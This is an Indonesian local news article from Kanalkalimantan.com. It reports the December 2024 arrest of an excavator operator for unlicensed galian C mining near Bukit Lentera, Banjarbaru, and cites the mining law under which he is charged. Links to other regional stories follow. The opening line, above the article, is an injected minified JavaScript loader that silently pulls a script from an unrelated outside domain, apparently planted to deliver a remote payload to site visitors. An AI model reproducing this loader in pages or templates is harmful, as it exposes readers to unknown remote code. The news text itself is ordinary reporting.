(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Galian C Tak Berizin di Banjarbaru, Polisi Tangkap Operator Eksavator


KANALKALIMANTAN.COM, BANJARBARU – Seorang laki-laki warga Kota Banjarbaru melakukan aktivitas penambangan galian C tanpa izin di Bukit Lentera, Jalan Bumi Berkat V Kelurahan Sungai Ulin, Kecamatan Banjarbaru Utara, Kota Banjarbaru.

Laki-laki itu berinisial MSB (28), berhasil ditangkap Unit Tipidter Sat Reskrim Polres Banjarbaru pada Senin (23/12/2024) sekitar pukul 14.00 Wita.

Kapolres Banjarbaru AKBP Dody Harza Kusumah, melalui Kasat Reskrim Polres Banjarbaru AKP Haris Wicaksono mengatakan, MSB ditangkap oleh petugas saat sedang mengoperasikan alat berat untuk mengeruk tanah di sekitar Bukit Lentera.

Baca juga: Bearing Baja Nyangkut di Alat Kelamin Lelaki, Damkar Turun Tangan

Barang bukti yang turut diamankan polisi yaitu satu unit alat berat eksavator PC 200 Hitachi warna orange.

Kemudian ada pula satu buah buku merk SIDU, berisi catatan rekapan hasil penjualan tanah uruk.

“Saat tiba di lokasi polisi mendapati MSB sedang mengoperasikan alat berat untuk mengeruk tanah,” ungkap Kasat Reskrim Polres Banjarbaru AKP Haris Wicaksono, Rabu (25/12/2024).

Baca juga: Libur Akhir Tahun, Ini Tiga Tempat Wisata Estetik Tak Jauh dari Ibu Kota Kalsel 

Penangkapan dilakukan polisi setelah mendapatkan informasi kemudian ditindaklanjuti langsung dengan dipimpin Kanit Tipidter Sat Reskrim Polres Banjarbaru Ipda Sarah Yudea L Toruan.

Dirinya menegaskan bahwa kegiatan penambangan yang dilakukan tidak mempunyai izin dari instansi berwenang.

“Atas temuan tersebut yang bersangkutan dan barang bukti ditahan ke Mapolres Banjarbaru untuk dilakukan pemeriksaan,” terangnya.

Baca juga: Bandara Syamsudin Noor Prediksi Arus Balik Libur Nataru Bersamaan Haul Sekumpul

Setelah diringkus, pelaku MSB yang diintrogasi mengakui bahwa kegiatan penambangan ilegal yang dia lakukan telah berjalan selama kurang lebih dua bulan.

“Saat ini penyidik juga sedang mendalami kasus ini, selain itu penyidik juga melakukan pemeriksaan terhadap saksi-saksi untuk kepentingan proses hukum,” jelas AKP Haris.

Atas perbuatan ini pula, pelaku dijerat pasal 158 Jo pasal 35 UU RI Nomor 03 Tahun 2020 perubahan atas UU RI No 04 tahun 2009, tentang Minerba dengan ancaman hukuman paling lama lima tahun kurungan penjara. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie


Muhammad Andi

Recent Posts

Banjir Rob Murung Selong Banjarmasin 407 Jiwa Terdampak

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob yang menggenangi kawasan Murung Selong, Kelurahan Sungai Lulut, Kota Banjarmasin,… Read More

3 jam ago

Tanggul Halangi Air Keluar di Komplek PWI, Ketua DPRD Banjarmasin Minta Dibongkar

KANALKALIMANTAN.COM, BANJARMASIN - Ketua DPRD Kota Banjarmasin, Rikval Fachruri meninjau banjir rob di komplek Persatuan… Read More

3 jam ago

Banjir di Gang Serumpun Sungai Lulut Masih Selutut

KANALKALIMANTAN.COM, BANJARMASIN — Banjir rob yang menggenangi Jalan Hikmah Banua, Gang Serumpun RT 27, Kelurahan… Read More

5 jam ago

BLK Kalsel Buka Pendaftaran Pelatihan Kerja Tahun 2026

KANALKALIMANTAN.COM, BANJARBARU - Balai Latihan Kerja (BLK) di bawah Dinas Tenaga Kerja dan Transmigrasi (Disnakertrans)… Read More

9 jam ago

Besok, Presiden RI Resmikan 166 Sekolah Rakyat Terpadu di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru bersiap menyambut kunjungan Presiden Republik Indonesia, Prabowo Subianto berserta… Read More

11 jam ago

Remaja 13 Tahun Terseret Arus di Sungai Martapura

KANALKALIMANTAN.COM, BANJARMASIN — Seorang remaja laki-laki dilaporkan tenggelam di Sungai Martapura, Jalan Rantauan Darat, Kecamatan… Read More

1 hari ago

This website uses cookies.